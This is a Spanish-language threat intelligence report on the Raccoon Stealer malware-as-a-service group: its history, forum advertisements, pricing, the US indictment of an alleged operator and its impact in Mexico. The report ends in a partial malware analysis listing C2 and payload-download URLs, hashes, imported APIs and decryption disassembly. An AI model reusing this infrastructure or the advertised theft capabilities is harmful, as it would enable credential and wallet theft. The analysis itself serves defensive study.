METABASE Q

Powered by OCELOT

Quién es y cómo opera el grupo cibercriminal Raccoon

Por Ramsés Vázquez y Jesús Domínguez del Equipo de Ocelot

// Better Base, Better Future

METABASE Q

CONTENIDO

Quién es y cómo opera el grupo cibercriminal Raccoon 1

Por Ramsés Vázquez y Jesús Domínguez del Equipo de Ocelot 1

CONTENIDO 2

CONTEXTO 3

Línea del tiempo de RACCOON 5

HISTORIA 6

¿QUIÉN ES **raccoonstealer** AVATAR? 18

SISTEMA DE ASOCIADOS DE RACCOON 22

PERFILAMIENTO RACCOON 22

ACERCA DE LAS MOTIVACIONES E IMPACTO EN MÉXICO 23

HIGHLIGHTS RACCOON STEALER 2.0.1 23

RACCOON STEALER MALWARE 24

ANÁLISIS DEL MALWARE RACCOON 26

MUTEX 31

IOCs 37

CONCLUSIONES 37

This information is property of Metabase Q, Inc., © All rights reserved

CONTEXTO

El grupo malicioso Raccoon, surgido a inicios del 2019, ha tenido cambios estructurales en este último año siendo el más notorio el fallecimiento de uno de sus líderes, dando paso a un rediseño desde cero de su arsenal malicioso. Su resurgimiento es destacable, posicionándolo como el competidor número uno del Infostealer Redline, y con esto en el Top 5 de los más activos en México.

Entre las industrias objetivo, estas no pueden ser focalizadas, debido a que operan bajo el esquema de “Stealer As A Service”, por lo que las víctimas son seleccionadas a discreción de los usuarios que ocupan su plataforma. Los LOGs con credenciales resultados de las infecciones, los encontramos en mercados negros, con distintos precios dependiendo de qué tan vigente sea la información ofrecida.

Stealer	Country	Links	Outlook	Info	Struct	Date	Size	Vendor	Price	Action
Racoon	Chihuahua ISP: Uninet S.A. de C.V	teacherspayteachers.com | facturamos.com.mx | login.yahoo.com | expedia.mx | login.yahoo.com | classdojo.com | facturacion.supermercadossmart.com | caj.schoology.com | app.schoology.com | pacsat.facturaelectronica.sat.gob.mx | Show more...	-	-	archive.zip	2022.08.20	0.06Mb	de####nt [platinum]	$ 10.00	Buy
Racoon	Quintana Roo ISP: RadioMovil Dipsa, S.A. de C.V.	cursos3.cndh.org.mx | extranet.itsc.edu.mx | starplus.com | netflix.com | codecademy.com | camchetumalcursos.neolms.com | moodle2022.itsc.edu.mx | moodle.itsc.edu.mx | login.microsoftonline.com | accounts.google.com | Show more...	-	-	archive.zip	2022.08.19	0.03Mb	de####nt [platinum]	$ 10.00	Buy
Racoon	México ISP: Uninet S.A. de C.V.	discord.com | help.steampowered.com | accounts.clip-studio.com | account.wbgames.com | discord.com | diagnostica.mejoredu.gob.mx | epicgames.com | account.protonvpn.com | anime-planet.com | lagged.com | Show more...	-	-	archive.zip	2022.08.20	0.26Mb	de####nt [platinum]	$ 10.00	Buy
Racoon	Oaxaca ISP: Uninet S.A. de C.V.	login.live.com | moodle.oaxaca.tecnm.mx | itoaxaca.mindbox.app | accounts.google.com | pdffiller.com | es-la.facebook.com | es-la.facebook.com | facebook.com | facebook.com | signup.microsoft.com | Show more...	-	-	archive.zip	2022.08.19	0.20Mb	de####nt [platinum]	$ 10.00	Buy
Racoon	Querétaro ISP: Mega Cable, S.A. de C.V.	quenovias.com | mqro.gob.mx | kubofinanciero.com | netflix.com | twitter.com | btcpop.co | free-bcash.com | serviciosenlinea.megacable.com.mx | cambridgelms.org | signup.klar.mx | Show more...	-	-	archive.zip	2022.08.20	4.25Mb	de####nt [platinum]	$ 10.00	Buy

Figura 1: Ofertas de Stealer logs de México en un mercado negro

Los ataques lanzados desde su plataforma prohíben aquellos países de la CEI: Armenia, Azerbaiyán, Bielorrusia, Kazajistán, Kirguistán, Moldavia, Rusia, Tayikistán, Uzbekistán.

Figura 2: Países de la CEI

This information is property of Metabase Q, Inc., © All rights reserved

Podemos darnos una idea del impacto geográfico mediante las ofertas existentes de logs en los distintos mercados negros de información, tan solo en México, un total de 60984 al momento de la consulta:

Figura 2: Cantidad de Stealer logs de Raccoon en distintos países

This information is property of Metabase Q, Inc., © All rights reserved

Línea del tiempo de RACCOON

Figura 3: Línea de tiempo RACCOON

This information is property of Metabase Q, Inc., © All rights reserved

HISTORIA

Este grupo de Infostealer comenzó sus operaciones a inicios del 2019, publicando en abril del mismo año sus primeras ofertas del software malicioso.

Figura 4: Perfil Raccoon Stealer

*No se cuenta con captura, debido a que reescribieron esta primera publicación de abril, teniendo cambios cada cierto mes, la publicación principal actualmente cuenta con el cambio en agosto 18 del 2022.

Figura 5: Fecha de edición de la publicación

This information is property of Metabase Q, Inc., © All rights reserved

Se pueden encontrar publicaciones en donde se aprecia que este lanzamiento en abril estuvo orquestado con una fase de pruebas previa por algunos usuarios:

Figura 6: Presunto usuario de fase beta

****

Felicidades por tu lanzamiento. Participé en las pruebas hace unos meses, un gran equipo, muchas soluciones interesantes y un administrador administrador. ¡El mejor producto para mí! Creo que mucha gente ya ha oído hablar de él.

****

Sin embargo, cuando liberaron su primera versión, esta comenzó a ser criticada por tener detecciones de los antivirus, lo que despertó el descontento de consumidores, incluso de algunos moderadores del foro, tal fue el caso de Quake3.

Figura 7: Publicación entidad Quake3

****

TS, tómese la molestia de publicar hoy, durante el día, un escaneo de un dinchek con Internet encendido. Si no tiene dinchek, y no hay dinero para reponer, envíeme el archivo en un personal, lo revisaré yo mismo. No hay necesidad de poner excusas sobre la 'hermosa imagen', no están listos, etc. ¿Vender software significa estar listo, pero no escanear? ¿Cuál es la lógica? Si se quema o algo no funciona ahí, ¿de qué sirve cargarlo?

This information is property of Metabase Q, Inc., © All rights reserved

****

Cerró su publicación comentando lo siguiente

****

Si durante el día no veo un escaneo en este tema, se cerrará.

****

A lo que Raccoon respondió estar al tanto:

raccoonstealer 9
Posted April 9, 2019

On 4/8/2019 at 6:57 PM, Quake3 said:

Когда-то была мода на супер-ддос боты, теперь же - на стиллеры. Интересно, есть какой-то паблик сорц, откуда все черпают вдохновение, или это одна и та же команда штампует файлы с "небольшим весом 500кб" и своей панелью? Ну да ладно.

ТС, потрудитесь выложить сегодня, в течение дня, скан с динчека с включенным инетом. Если у вас нет динчека, и нет денег для пополнения, скиньте файл мне в личку, я сам проверю. Не надо отмазываться про "красивую картинку", не готовы и так далее. Продавать софт значит готовы, а сканировать - нет? В чем логика? Если он палится или что-то там не работает, какой смысл грузить?

Если продукт нормальный, то никаких вопросов к вам не будет, но вы сами этими недомолвками создаете нездоровый ажиотаж. На рынке много ерунды, поэтому люди хотят видеть, что покупают, кот в мешке никому не нужен.

Если в течение дня я не увижу в этой теме скана, она будет закрыта.

Сегодня все скинем обязательно. Мы не делаем из этого тайны. Перед релизом мы получали примерно 5 детектов. Потом был расширен кое-какой функционал стилера и вчера мы получили минимум 8. Сейчас разбираемся, чтобы уменьшить эту цифру.

Figura 8: Respuesta del moderador Raccoon Stealer

****

Hoy definitivamente tiraremos todo por la borda. No ocultamos esto. Antes del lanzamiento, recibimos alrededor de 5 detecciones. Luego se amplió alguna funcionalidad del ladrón, y ayer obtuvimos al menos 8. Ahora estamos tratando de reducir esta cifra.

****

This information is property of Metabase Q, Inc., © All rights reserved

Para el 27 de abril, Raccoon anunciaba cambios significativos en su Infostealer, principalmente en el Backend y Frontend:

raccoonstealer
We steal, you deal
Seller
9
338 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted April 24, 2019 (edited)

Всем привет!
У нас выдались несколько тяжелых, но очень продуктивных дней. Мы приносим свои извинения за простой и проблемы со связью. Всем клиентам будут начислены 2 дополнительных недели. Отдельно хотели бы поблагодарить тех, кто был на связи и помогал с тестированием.

Ближе к делу.
С момента нашего появления на рынке на нас обрушилась целая волна DDoS флуда и прочие прелести в виде пентеста, брута и т.д. Кто-то из недоброжелателей не жалеет на это денег.

Все это, и не только, стало причиной для следующих обновлений:

Back-end
- Полностью новая система гейтов для пользователей

Figura 9: Actualización del malware

Se pueden observar las primeras versiones de su plataforma por usuarios de esta, quienes compartieron capturas:

Figura 10: Plataforma web Raccoon Stealer

This information is property of Metabase Q, Inc., © All rights reserved

Los precios no se habían publicado hasta mayo, esta información se tenía guardada de manera discreta, solo para personas que preguntaran por ello.

raccoonstealer
We steal, you deal
●●●●●●

Seller
9
338 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted May 27, 2019 (edited)

Subscription plans:

75$ - Week
200$ - Month
1000$ - 6 months

Наши контакты:

XMPP:
support@raccoon.biz
mrx@raccoon.biz
raccoonstealer@exploit.im

Figura 11: Precios Racoon Stealer en 2019

This information is property of Metabase Q, Inc., © All rights reserved

En junio de 2019, son los mismos de Raccoon quienes comparten imágenes de su consola 2.0 Beta.

Figura 12: Plataforma de Raccoon Stealer 2.0 - Clientes pueden buscar por IP infectada

Por lo que se muestra un breve paréntesis cronológico para compartir el control de versiones de Raccoon Stealer.

Fecha	Versión
03/12/2019	1.4.0
18/02/2020	1.4.8
09/05/2020	1.5.11
20/06/2020	1.5.12
21/06/2020	1.5.13
27/10/2020	1.7.1

This information is property of Metabase Q, Inc., © All rights reserved

24/12/2020	1.7.2
01/03/2021	1.7.3
14/06/2021	1.7.4
12/07/2021	1.7.5
13/08/2021	1.8
08/09/2021	1.8.1
07/10/2021	1.8.2
11/12/2021	1.8.4
20/01/2022	1.8.5
10/02/2022	1.8.5-b
01/07/2022	2.0.0
09/08/2022	2.0.1
15/09/2022	2.0.2

Tabla 1: Historial de versiones Raccoon Stealer

This information is property of Metabase Q, Inc., © All rights reserved

Un hito muy importante fue su cese de operaciones de 25 de marzo del 2022, donde Raccoon anuncia que deben cerrar las actividades del infostealer:

raccoonstealer
We steal, you deal
Seller
9
338 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted March 25

Уважаемые Клиенты, к величайшему сожалению, в связи с "спецоперацией", нам придётся закрыть наш проект Raccoon Stealer
Членов нашей команды, которые отвечали за критические моменты в работе продукта, с нами больше нет 😔
Мы с разочарованием вынуждены закрыть наш проект, дальнейшая стабильная работа стиллера физически не возможна
Что будет с логами?
Логи еще можно скачать, но multidownload сервер уже перестал отвечать
Это значит, что Вам нужно начать выкачивать логи по одному, начиная с самых "жирных" (кнопка скачать справа в таблице на каждом логе)
Мы приносим извинения за такие неудобства, за то что не сможем продолжить радовать вас нашим продуктом, как мы делали это последние 3 года, но мы вынуждены закрыть проект на неопределённый срок
Просим с пониманием отнестись к нашей потере
Желаю всем терпения, и каждому найти по 1.000.000 $ профитов
Спасибо ВАМ❤️ , за этот опыт и время, за каждый день, к сожалению всему , рано , или поздно, приходит конец
Всем МИР
😔

Figura 13: Cese de actividades de Raccoon

****

Estimados clientes, lamentablemente, debido a la 'operación especial', tendremos que cerrar nuestro proyecto Raccoon Stealer

Los miembros de nuestro equipo que fueron responsables de momentos críticos en el funcionamiento del producto ya no están con nosotros 😔

Estamos decepcionados de cerrar nuestro proyecto, la operación más estable del destilador es físicamente imposible

¿Qué pasará con los registros?

Los registros aún se pueden descargar, pero el servidor de descargas múltiples ya dejó de responder

Esto significa que debe comenzar a descargar los registros uno por uno, comenzando con los más pesados (botón de descarga en el lado derecho de la tabla en cada registro)

Pedimos disculpas por tales inconvenientes, por no poder seguir complaciendo con nuestro producto, como lo hemos estado haciendo durante los últimos 3 años, pero nos vemos obligados a cerrar el proyecto por tiempo indefinido.

Por favor, comprenda nuestra pérdida.

Les deseo paciencia a todos y que todos encuentren una ganancia de $ 1,000,000

Gracias ♡ por esta experiencia y tiempo, por cada día, lamentablemente todo, tarde o temprano, llega a su fin

paz para todos

****

This information is property of Metabase Q, Inc., © All rights reserved

Comenzaron a surgir los rumores del cese de operaciones, y que este estaba directamente involucrado con la muerte de uno de los líderes en la invasión de Rusia a Ucrania. A lo que Raccoon respondió que el rumor era cierto. Sin embargo ellos continuaron con el proyecto reescribiendo desde 0 el código, así como toda la infraestructura asociada. Que se encontraban en el proceso de la fase beta la cual duraría unas semanas más.

raccoonstealer
We steal, you deal
Seller
9
338 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted June 1

On 6/1/2022 at 4:09 AM, anon666deanon said:
it's true?

Yes, my dear friend! This is not a rumors.

After our teammate loss we made a decision that we can not leave our project and we will continue our work in his honor. Also we build big community who support us during our lifetime cuz they don't see any alternative to work with.

This months we worked on Raccoon Stealer 2.0. Project was totally coded from very beginning. New back-end, new front-end, absolutely new stealer soft. I will provide all details after beta test ends. Believe me there are many interesting things to present.

Beta test in process about 12 days and clients mostly happy about it. Some minor issues are left to fix. I think we are moving to release date on next two weeks.

We are miss our clients and want go back to full working volumes.

See ya soon!
.

Figura 14: Mención de la muerte de uno de sus líderes y próximo retorno de operaciones

****

¡Sí mi querido amigo! Esto no es un rumor.

Después de la pérdida de nuestro compañero de equipo, tomamos la decisión de que no podemos abandonar nuestro proyecto y continuaremos nuestro trabajo en su honor. También construimos una gran comunidad que nos apoya durante nuestra vida porque no ven ninguna alternativa con la que trabajar.

Este mes hemos trabajado en Raccoon Stealer 2.0. El proyecto fue totalmente codificado desde el principio. Nuevo back-end, nuevo front-end, absolutamente nuevo robo suave. Proporcionaré todos los detalles después de que finalice la prueba beta. Créanme que hay muchas cosas interesantes para presentar.

Prueba beta en proceso de unos 12 días y los clientes en su mayoría están contentos con ella. Algunos problemas menores quedan por solucionar. Creo que nos estamos moviendo a la fecha de lanzamiento en las próximas dos semanas.

Echamos de menos a nuestros clientes y queremos volver a los volúmenes de trabajo completos.

¡Nos vemos pronto!

****

This information is property of Metabase Q, Inc., © All rights reserved

Posteriormente el Primero de julio del 2022 anunciaban su regreso:

raccoonstealer
We steal, you deal
●●●●●●

Seller
9
338 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted July 1

RACCOON STEALER 2.0 We are Back!

Для нас, как и для многих, это были нелёгкие несколько месяцев. Мы были вынуждены закрыть наш весьма успешный проект из-за независящих от нас обстоятельств.
Но нет худа без добра и мы рады вернуться обратно!

Проект был полностью переписан с нуля. Билд, фронт и бекенд. Мы учли ошибки прошлого и сохранили все хорошие идеи, которые пришлись нашим постоянникам по вкусу.
Билд стал в 10 раз меньше, полностью сохранив все свои старые функции, а также приобрёл новые фишки, что сделало логи ещё более информативными!
Динамическая отправка информации лога позволила увеличить отстук.
Помимо качества работы нашего софта, как и прежде, мы уделили большое внимание внешнему виду и функционалу панели управления.

Панель полностью переписана на самых современных библиотеках. Мы сохранили наш мощный поиск, теги, маски поиска, теги билдов и многие другие функции (например, обозреватель блоков кошельков и многие другие).
На бекенде также произошли изменения в лучшую сторону. Мы решили запустить проект, отказавшись от общих прокси. Теперь пользователь может пропатчить билд 5-ю IP-адресами и отследить их из панели. Это позволило улучшить отстук, так как пользователи больше не влияют друг на друга.
Также в планах добавить старую систему общих прокси для самых «ленивых» клиентов, кто предпочитает получить стилер «под ключ».

Всё та же надёжность бекенда, система логирования и алертов, децентрализованная схема и регулярные бэкапы.
Добавлен бот для Telegram, позволяющий отправлять логи на ваш аккаунт, а также возможность настроить гибкую отправку по тегам.

Прежде чем начать открытую продажу, мы тестировали проект более двух месяцев, как бета версию, и минимальные ошибки были устранены.
Пользователи бета-версии полностью удовлетворены результатом и остаются нашими постоянными клиентами по сей день.

Figura 15: Vuelta de Raccoon a la operación

****

Raccoon STEALER 2.0 ¡Estamos de vuelta!

Para nosotros, como para muchos, no fueron unos meses fáciles. Nos vimos obligados a cerrar nuestro exitoso proyecto debido a circunstancias fuera de nuestro control.

¡Pero cada nube tiene un lado positivo y estamos felices de estar de vuelta!

El proyecto fue completamente reescrito desde cero. Construir, front-end y back-end. Tomamos en cuenta los errores del pasado y mantuvimos todas las buenas ideas que les gustaban a nuestros habituales.

La construcción se ha vuelto 10 veces más pequeña, conservando por completo todas sus funciones anteriores, y también adquirió nuevos chips, ¡lo que hizo que los registros fueran aún más informativos! El envío dinámico de información de registro permitió aumentar la respuesta…

****

This information is property of Metabase Q, Inc., © All rights reserved

En agosto del 2022 anunciaban su versión 2.0.1 Beta:

Figura 16: Publicación de RACCOON 2.0.1

****

Actualización 2.0.1-beta

• Colección de archivos de sesión de Discord (Build) + Análisis de tokens del lado del servidor

• Búsqueda de semillas (frases 12+ Palabras) en archivos del capturador (ocurre en segundo plano en el lado del servidor)

• Frases de semillas en la búsqueda de registros de filtrado con mnemónicos

• Visualización de semillas directamente en el panel, o en el registro (archivo seed.txt)

• Limpieza automática

• Conteo de días fijo al renovar una licencia

• Se agregó un indicador para crear archivos de descarga múltiple

• Se mejoró ligeramente el formulario de autorización

****

El 15 de septiembre del 2022 anunciaban su versión 2.0.2 Beta:

raccoonstealer
RAID-массив
Пользователь
Регистрация: 01.04.2019
Сообщения: 89
Реакции: 43
Гарант сделки: 1

15.09.2022

Обновление билда Raccoon Stealer [2.0.2]-beta

Добавлено:

👉🔥
Вернули поддержку сбора TOTP-расширений, а также расширений для хранения паролей (По типу LastPass)
• Microsoft AutoFill
• Bitwarden
• KeePass Tusk
• KeePassXC Browser
• Authenticator.cc
*Список будет сильно расширен в ближайшие пару дней

👉🔥
Добавили сбор кошельков-расширений:
• Exodus Web3 Wallet
• Braavos (StarkNet) Wallet
• Enkrypt Wallet (от MyEtherWallet)
• OKX Web3 Wallet

Figura 17: Publicación de RACCOON 2.0.2

****

Actualización 2.0.2-beta

Compatibilidad para recopilar extensiones TOTP, así como extensiones para almacenar contraseñas (similar a LastPass):

• Microsoft

• AutoFill • Bitwarden

• KeePass Tusk

• KeePassXC Browser

• Authenticator.cc

Colección añadida de carteras de extensión:

• Cartera Exodus Web3

• Cartera Braavos (StarkNet)

- *Cartera Enkrypt (MyEtherWallet)*
- *Cartera OKX Web3*
- *Cartera Sender (cadena NEAR)*
- *HashPack (cadena Hedera) Monedero*
- *Monedero EVER-chain*
- *Monedero Eternl (Cardano)*
- *Cartera Gero (Cardano)*
- *Cartera Pontem (cadena Aptos)*
- *Cartera Petra (cadena Aptos)*
- *Cartera Martian (cadena Aptos)*
- *Finnie (Cartera con cadena Koii)*
- *Leap Terra (Cartera Terra 2.0)*

****

¿QUIÉN ES **raccoonstealer** AVATAR?

La última interacción del moderador que se tenía en foros rusos fue el 9 de octubre del 2022. En dicha interacción compartió la dirección de TOX para ser contactado:

raccoonstealer
We steal, you deal
Seller
10
343 posts
Joined
04/02/19 (ID: 91716)
Activity
вирусология / malware

Posted October 9

On 9/10/2022 at 1:13, netrunner01 said:
Greetings! Can you send me your actual TOX in PM for purchase your product and talk about some details? Thanks, doc!

Hello! Please feel free to contact us!

59922F114D421355B562B5C6A0F53A159D9DFF6B0E33031E5F79820C8E47DA0B3DAB57373EAE

Quote

Figura 18: interacción de Moderadores de RACCOON

El 29 de octubre la cuenta oficial de RACCOON en un foro ruso informa sobre lo sucedido con uno de sus miembros, mencionan que los cargos publicados por el Departamento de Justicia de los

This information is property of Metabase Q, Inc., © All rights reserved

Estados Unidos de América, está relacionado con la versión 1 y que ellos continúan operando con la versión 2.

ladrón de mapaches
Nosotros robamos, tu negocias
●●●●●●
Vendedor
diez
344 publicaciones
Se unió
el 02/04/19 (ID: 91716)
Actividad
virología / malware

Al corrientesábado a las 08:32 (editado)

Comunicado del equipo de Raccoon Stealer sobre la noticia de la detención de uno de los participantes del proyecto.

Nuestro compañero desapareció al comienzo del NWO. Todo lo que sabíamos de él era que vive en Kyiv. Perdimos contacto con él en el momento del ataque a Kyiv. Por supuesto que pensamos lo peor. No teníamos noticias de él.
Nunca dijimos que murió en el NWO, esto ya es una bicicleta de Internet. Para nosotros, desapareció al comienzo de la guerra. ¡Estamos muy contentos con el hecho de que está sano y salvo!
Repito, no nos conocíamos personalmente y no podemos confirmar que esta persona en particular estuviera involucrada en el proyecto.

La información publicada por las agencias de inteligencia se refiere a la versión 1.0. No hemos almacenado ningún dato de cliente, por lo que no hay nada de qué preocuparse.

En este momento, el proyecto 2.x se está ejecutando, todos los miembros del proyecto están disponibles y los servidores están seguros.

editadosábado a las 08:34por raccoonstealer

Figura 19: Comunicado RACCOON

El 21 de noviembre de 2021, en dicha publicacion, la agencia realizó una acusación sellada en contra del actor de amenazas Mark Sokolovsky, en la cual se culpaba a la entidad de conspiración para violar la ley, fraude Informático, conspiración para cometer fraude electrónico, conspiración de lavado, robo de identidad agravado. Así mismo, se publican los avatares utilizados por el acusado destacando el de “raccoonstealer”, el cual publicaba actualizaciones constantemente en el foro ruso antes descrito:

This information is property of Metabase Q, Inc., © All rights reserved

FILED
2021 NOV -2 PM 2:01
CLERK, US DISTRICT COURT
WESTERN DISTRICT OF TEXAS
BY klc
DEPUTY

SEALED

UNITED STATES DISTRICT COURT
WESTERN DISTRICT OF TEXAS
AUSTIN DIVISION

UNITED STATES OF AMERICA	§	**INDICTMENT**
	§	
v.	§	[COUNT 1: 18 U.S.C. § 371, Conspiracy to Commit Fraud and Related Activity in Connection with Computers; COUNT 2: 18 U.S.C. § 1349, Conspiracy to Commit Wire Fraud; COUNT 3: 18 U.S.C. § 1956(h), Conspiracy to Commit Money Laundering; COUNT 4: 18 U.S.C. § 1028A, Aggravated Identity Theft.]
MARK SOKOLOVSKY, aka Photix, raccoonstealer, and b1ack21jack77777	§	
Defendant.	§	
	§	A21 CR 224 LY

THE GRAND JURY CHARGES:

At All Times Material To This Indictment:

INTRODUCTION AND OVERVIEW

1. Conspirators residing in Ukraine and elsewhere operated a computer malware known as Raccoon. The conspirators offered the malware as a service to users as a means to harvest personal information, financial information, and passwords from victims without the knowledge of the owners of the victims' computers.

2. Millions of computers around the world have been infected with the Raccoon malware and more than 2 million victims have had their personal information, financial information, and passwords stolen by Raccoon.

Figura 20: Cargos contra Mark Sokolovsky - Source: https://www.documentcloud.org/documents/23185268-mark-sokolovsky-raccoon-stealer-unsealed-indictment

Los cargos se derivan del papel del acusado en la operación del malware Raccoon Infostealer, que se ha utilizado para robar registros confidenciales, incluido el inicio de sesión, credenciales, información financiera y otros registros personales. Raccoon Infostealer infectó computadoras en muchos países desde 2018 hasta principios de 2022. El Departamento de Justicia de los Estados Unidos de América alega que Mark Sokolovsky es uno de los administradores clave detrás de Raccoon Infostealer.

El 26 de septiembre del 2022 el Departamento de Justicia compartió la moción para el Procedimientos de Notificación a Mark Sokolovsky. En la cual se detalla lo siguiente:

El acusado es nativo y ciudadano de Ucrania. El 4 de marzo de 2022, el acusado (junto con otras personas) salió de Ucrania en lo que parecía ser un Porsche Cayenne, transitó por Polonia y Alemania, y finalmente llegó a los Países Bajos.

This information is property of Metabase Q, Inc., © All rights reserved

Figura 21: Porsche Cayenne en el que huyó la entidad a paises bajos. Esta imagen fue tomada por las autoridades fronterizas polacas cuando el vehículo de Sokolovsky ingresaba a Alemania. Imagen: KrebsOnSecurity.com.

Las fuerzas de la ley holandesa arrestaron a Sokolovsky el 20 de marzo de 2022, de conformidad con una orden de arresto provisional solicitada por los Estados Unidos.

Posteriormente, Estados Unidos presentó una solicitud formal de extradición a los holandeses acerca del acusado, la audiencia de extradición se llevó a cabo el 31 de agosto de 2022. El Tribunal de Distrito de Amsterdam emitió su decisión el 13 de septiembre de 2022 y concedió la extradición del imputado.

Simultáneamente con el arresto del acusado, las autoridades italianas y holandesas iniciaron acciones legales para apoderarse de la infraestructura digital clave de Raccoon Infostealer, lo que causó que la infraestructura detrás del malware quedará inoperativa.

Posterior al apoderamiento de la infraestructura, el gobierno de los Estados Unidos ha creado el siguiente sitio que permite a víctimas potenciales verificar si su correo electrónico ha sido comprometido por el infostealer: https://raccoon.ic3.gov/home.

This information is property of Metabase Q, Inc., © All rights reserved

SISTEMA DE ASOCIADOS DE RACCOON

En su servicio MaaS (Malware as a Service por sus siglas en inglés) Raccoon ofrece un panel web para llevar a cabo el control de su malware, infraestructura de red y los logs obtenidos por su stealer en equipos infectados, además de otras funciones.

Su precio actual está por encima de los $150 USD por semana.

PERFILAMIENTO RACCOON

A continuación, se presenta el perfilamiento de los miembros del grupo Raccoon:

Figura 22: Perfilamiento de Raccoon

This information is property of Metabase Q, Inc., © All rights reserved

ACERCA DE LAS MOTIVACIONES E IMPACTO EN MÉXICO

Las motivaciones de Raccoon son totalmente económicas, ya que, a pesar de los conflictos geopolíticos y el daño colateral de uno de sus líderes, no ahondan en esos temas y continúan su operación.

El impacto en México es grande, debido al esquema de SaaS, cualquier persona con un conocimiento técnico básico puede orquestar un ataque, ya que toda la infraestructura y servicio de Raccoon está al alcance de cualquier asociado.

Figura 23: Raccoon Stealer Logs en México

HIGHLIGHTS RACCOON STEALER 2.0.1

- El stealer está escrito en C++
- El tamaño ejecutable es alrededor de 55 kb
- El descifrado de contraseñas, cookies, mapas guardados (SS) de chrome (AES GCM) ocurre en el lado del servidor, así como el formateo de todos los archivos .txt y sus nombres
- Las direcciones de los wallets se determinan automáticamente en el lado del servidor

This information is property of Metabase Q, Inc., © All rights reserved

RACCOON STEALER MALWARE

Dynamic analysis

Gracias a Diana Tadeo de Ocelot Threat Intelligence por el descubrimiento de estas variantes en la región.

Al momento de ejecutar el malware se observan peticiones HTTP hacia la IP 206[.]188[.]196[.]200 para enviar información del nombre de usuario, el ID de la máquina infectada y entonces el C2 responde con una lista de IPs para las siguientes fases de infección.

ip.addr == 20.99.132.105

No.	Time	Source	Destination	Protocol	Length	Info
4	4.911771	192.168.1.132	206.188.196.200	TCP	66	49783 → 80 [SYN] Seq=0
5	5.080537	206.188.196.200	192.168.1.132	TCP	66	80 → 49783 [SYN, ACK]
6	5.080616	192.168.1.132	206.188.196.200	TCP	54	49783 → 80 [ACK] Seq=1
7	5.080749	192.168.1.132	206.188.196.200	HTTP	375	POST / HTTP/1.1 (appl
8	5.249055	206.188.196.200	192.168.1.132	TCP	60	80 → 49783 [ACK] Seq=1
9	5.264279	206.188.196.200	192.168.1.132	HTTP	1040	HTTP/1.1 404 Not Found

Figura 24. Captura del tráfico de red

Desde dicha IP se han detectado infecciones de Banking trojans como Agent Tesla e Infostealers como Redline, sugiriendo la posible relación de varios actores compartiendo infraestructura:

- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll

This information is property of Metabase Q, Inc., © All rights reserved

En el diagrama siguiente, se muestra una relación de dicha IP con el Infostealer Redline en el pasado:

Figura 25. Diagrama de relación de elementos con IP 206.188.196.200

This information is property of Metabase Q, Inc., © All rights reserved

Tomando la información del whois de esta IP, esta cuenta con el correo electrónico: admin@blnwx.com, y el nombre del registrante: BL Networks.


```
"handle": "NET-206-188-196-0-2",
"startAddress": "206.188.196.0",
"endAddress": "206.188.197.255",
"ipVersion": "v4",
"name": "BLNETWORKS-NL-02",
"type": "ALLOCATION",
"parentHandle": "NET-206-188-196-0-1",
"events": [
  {
```


Figura 26. Información Whois

Este proveedor de hosting e incluso el segmento de red ha sido ocupado por el grupo TA505, quien ha utilizado a Raccoon para instalar el RAT ServHelper en el pasado, documentado por Talos, interesantemente, este grupo también tiene orígenes en Ucrania como Raccoon, lo cual podría explicar una cooperación entre estos grupos.

ANÁLISIS DEL MALWARE RACCOON

El binario está escrito en 32 bits y no está ofuscado.
MD5: b167ba266d25d54ae5d7a85b6d30309e
Primera vez visto: agosto 29, 2022
Otro nombre: 2.0.1-beta.exe

Figura 27. Información general del binario

Si revisamos las DLLs que el *malware* importa se observa que son solo 2, estas son las únicas necesarios para importar y resolver más módulos y APIs en tiempo de ejecución.

Address	Ordinal	Name	Library
0040C000		GetProcAddress	KERNEL32
0040C004		LoadLibraryW	KERNEL32

Figura 28. DLLs importadas por el malware

Se identificaron las siguientes DLLs son cargadas en tiempo de ejecución por el malware:

- Ole32.dll
- WinInet.dll
- Advapi32.dll
- User32.dll
- Crypt32.dll
- Shell32.dll
    - Bcrypt.dll

Listamos algunas de las APIs interesantes relacionadas con enumerar procesos en el sistema, ejecución de comandos y conectividad con Internet:

- 30.rdata:0040C2EC 00000019 C CreateToolhelp32Snapshot
- 39.rdata:0040C370 0000000F C Process32First
- 40.rdata:0040C380 0000000E C Process32Next
- 53.rdata:0040C43C 0000000E C ShellExecuteW
- 70.rdata:0040C548 0000000D C GetUserNameW
- 91.rdata:0040C6B8 00000011 C InternetConnectW
- 92.rdata:0040C6CC 0000000E C InternetOpenW
- 94.rdata:0040C6F0 00000011 C InternetOpenUrlA
- 95.rdata:0040C704 00000011 C InternetOpenUrlW
- 96.rdata:0040C718 00000014 C InternetReadFileExW
- 99.rdata:0040C754 00000011 C HttpOpenRequestW

This information is property of Metabase Q, Inc., © All rights reserved

Se identifica función en dirección 0xF8400A la cual descifra distintas cadenas. Esta función recibe 3 parámetros, los primeros 2 son offsets de cadenas cifradas y la llave para decodificarlos:

```
.text:00324014 010 B9 70 C8 32 00          mov     ecx, offset aCVgx ; "C^VGX>"
.text:00324019 010 E8 8C 5F 00 00          call    string_decrypt_sub_F89FAA ; Call Procedure
.text:0032401E 010 6A 04                   push    4
.text:00324020 014 BA 78 C8 32 00          mov     edx, offset aB0484cb7536f47 ; "b0484cb7536f479b"
.text:00324025 014 A3 1C E4 32 00          mov     dword_32E41C, eax
.text:0032402A 014 B9 8C C8 32 00          mov     ecx, offset aGgg ; "\aGGg"
.text:0032402F 014 E8 76 5F 00 00          call    string_decrypt_sub_F89FAA ; Call Procedure
.text:00324034 014 6A 05                   push    5
.text:00324036 018 BA 94 C8 32 00          mov     edx, offset a5e02c914732851 ; "5e02c91473285154"
